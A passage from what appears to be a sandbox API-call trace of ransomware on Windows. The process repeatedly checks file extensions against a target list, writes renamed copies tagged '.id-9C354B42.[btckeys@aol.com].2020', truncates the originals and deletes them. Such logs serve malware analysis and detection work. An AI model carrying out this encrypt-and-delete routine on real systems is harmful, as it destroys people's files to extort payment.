(lpString=".xls") returned 4 [0078.741] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.741] lstrlenW (lpString=".xlsx") returned 5 [0078.741] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.741] lstrlenW (lpString=".ppt") returned 4 [0078.741] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.741] lstrlenW (lpString=".zip") returned 4 [0078.741] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.741] lstrlenW (lpString=".rar") returned 4 [0078.741] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.741] lstrlenW (lpString=".bz2") returned 4 [0078.741] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.741] lstrlenW (lpString=".7z") returned 3 [0078.741] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.741] lstrlenW (lpString=".dbf") returned 4 [0078.741] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.741] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.741] lstrlenW (lpString=".1cd") returned 4 [0078.742] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.742] lstrlenW (lpString=".jpg") returned 4 [0078.742] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.742] lstrlenW (lpString=".doc") returned 4 [0078.742] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.742] lstrlenW (lpString=".docx") returned 5 [0078.742] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.742] lstrlenW (lpString=".pdf") returned 4 [0078.742] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.742] lstrlenW (lpString=".xls") returned 4 [0078.742] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.742] lstrlenW (lpString=".xlsx") returned 5 [0078.742] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.742] lstrlenW (lpString=".ppt") returned 4 [0078.742] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.742] lstrlenW (lpString=".zip") returned 4 [0078.742] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.742] lstrlenW (lpString=".rar") returned 4 [0078.742] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.742] lstrlenW (lpString=".bz2") returned 4 [0078.742] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.742] lstrlenW (lpString=".7z") returned 3 [0078.742] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.742] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.742] lstrlenW (lpString=".dbf") returned 4 [0078.743] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.743] lstrlenW (lpString=".1cd") returned 4 [0078.743] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0078.743] lstrlenW (lpString=".jpg") returned 4 [0078.743] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.743] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0078.743] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0078.743] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.743] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=945) returned 1 [0078.743] CloseHandle (hObject=0x1e0) returned 1 [0078.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0078.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0078.744] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.744] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0078.744] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.308] GetLastError () returned 0x0 [0079.308] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x3b1, lpOverlapped=0x0) returned 1 [0079.310] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x3c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x3c0, lpOverlapped=0x0) returned 1 [0079.318] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.318] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.318] SetEndOfFile (hFile=0x204) returned 1 [0079.318] CloseHandle (hObject=0x204) returned 1 [0079.319] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.319] SetEndOfFile (hFile=0x1e0) returned 1 [0079.320] CloseHandle (hObject=0x1e0) returned 1 [0079.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.320] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 1 [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.321] lstrlenW (lpString=".doc") returned 4 [0079.321] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.321] lstrlenW (lpString=".docx") returned 5 [0079.321] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.321] lstrlenW (lpString=".pdf") returned 4 [0079.321] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.321] lstrlenW (lpString=".xls") returned 4 [0079.321] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.321] lstrlenW (lpString=".xlsx") returned 5 [0079.321] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.321] lstrlenW (lpString=".ppt") returned 4 [0079.321] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.321] lstrlenW (lpString=".zip") returned 4 [0079.321] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.321] lstrlenW (lpString=".rar") returned 4 [0079.321] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.321] lstrlenW (lpString=".bz2") returned 4 [0079.321] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.321] lstrlenW (lpString=".7z") returned 3 [0079.321] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.321] lstrlenW (lpString=".dbf") returned 4 [0079.322] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.322] lstrlenW (lpString=".1cd") returned 4 [0079.322] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.322] lstrlenW (lpString=".jpg") returned 4 [0079.322] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.323] lstrlenW (lpString=".doc") returned 4 [0079.323] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.323] lstrlenW (lpString=".docx") returned 5 [0079.323] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.323] lstrlenW (lpString=".pdf") returned 4 [0079.323] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.323] lstrlenW (lpString=".xls") returned 4 [0079.323] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.323] lstrlenW (lpString=".xlsx") returned 5 [0079.323] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.323] lstrlenW (lpString=".ppt") returned 4 [0079.323] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.323] lstrlenW (lpString=".zip") returned 4 [0079.323] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.323] lstrlenW (lpString=".rar") returned 4 [0079.323] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.323] lstrlenW (lpString=".bz2") returned 4 [0079.323] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.323] lstrlenW (lpString=".7z") returned 3 [0079.323] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.324] lstrlenW (lpString=".dbf") returned 4 [0079.324] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.324] lstrlenW (lpString=".1cd") returned 4 [0079.324] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF") returned 74 [0079.324] lstrlenW (lpString=".jpg") returned 4 [0079.324] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.324] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0079.324] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.325] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1363) returned 1 [0079.325] CloseHandle (hObject=0x1e0) returned 1 [0079.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 0x20 [0079.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.325] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.325] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.328] GetLastError () returned 0x0 [0079.328] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x553, lpOverlapped=0x0) returned 1 [0079.331] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x560, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x560, lpOverlapped=0x0) returned 1 [0079.332] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.332] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.332] SetEndOfFile (hFile=0x204) returned 1 [0079.332] CloseHandle (hObject=0x204) returned 1 [0079.333] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.333] SetEndOfFile (hFile=0x1e0) returned 1 [0079.334] CloseHandle (hObject=0x1e0) returned 1 [0079.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\preview.gif")) returned 1 [0079.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.335] lstrlenW (lpString=".doc") returned 4 [0079.335] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.335] lstrlenW (lpString=".docx") returned 5 [0079.335] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.335] lstrlenW (lpString=".pdf") returned 4 [0079.335] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.335] lstrlenW (lpString=".xls") returned 4 [0079.335] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.335] lstrlenW (lpString=".xlsx") returned 5 [0079.335] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.335] lstrlenW (lpString=".ppt") returned 4 [0079.335] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.335] lstrlenW (lpString=".zip") returned 4 [0079.335] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.335] lstrlenW (lpString=".rar") returned 4 [0079.335] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.335] lstrlenW (lpString=".bz2") returned 4 [0079.335] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.335] lstrlenW (lpString=".7z") returned 3 [0079.335] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.335] lstrlenW (lpString=".dbf") returned 4 [0079.335] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.336] lstrlenW (lpString=".1cd") returned 4 [0079.336] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.336] lstrlenW (lpString=".jpg") returned 4 [0079.336] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.336] lstrlenW (lpString=".doc") returned 4 [0079.336] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.336] lstrlenW (lpString=".docx") returned 5 [0079.336] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.336] lstrlenW (lpString=".pdf") returned 4 [0079.336] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.336] lstrlenW (lpString=".xls") returned 4 [0079.336] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.336] lstrlenW (lpString=".xlsx") returned 5 [0079.336] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.336] lstrlenW (lpString=".ppt") returned 4 [0079.336] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.336] lstrlenW (lpString=".zip") returned 4 [0079.336] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.336] lstrlenW (lpString=".rar") returned 4 [0079.336] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.337] lstrlenW (lpString=".bz2") returned 4 [0079.337] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.337] lstrlenW (lpString=".7z") returned 3 [0079.337] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.337] lstrlenW (lpString=".dbf") returned 4 [0079.337] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.337] lstrlenW (lpString=".1cd") returned 4 [0079.337] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\PREVIEW.GIF") returned 75 [0079.337] lstrlenW (lpString=".jpg") returned 4 [0079.337] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.337] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0079.337] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.339] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=20371) returned 1 [0079.339] CloseHandle (hObject=0x1e0) returned 1 [0079.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 0x20 [0079.339] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.339] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0079.339] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.339] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.340] GetLastError () returned 0x0 [0079.340] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x4f93, lpOverlapped=0x0) returned 1 [0079.343] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4fa0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4fa0, lpOverlapped=0x0) returned 1 [0079.344] ReadFile (in: hFile=0x1e0, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0079.345] WriteFile (in: hFile=0x204, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.345] SetEndOfFile (hFile=0x204) returned 1 [0079.345] CloseHandle (hObject=0x204) returned 1 [0079.345] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.345] SetEndOfFile (hFile=0x1e0) returned 1 [0079.347] CloseHandle (hObject=0x1e0) returned 1 [0079.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.347] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\thmbnail.png")) returned 1 [0079.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.347] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\THMBNAIL.PNG") returned 76 [0079.347] lstrlenW (lpString=".doc") returned 4 [0079.348] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.348] lstrlenW (lpString=".docx") returned 5 [0079.348] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.348] lstrlenW (lpString=".pdf") returned 4 [0079.348] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.348] lstrlenW (lpString=".xls") returned 4 [0079.348] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.348] lstrlenW 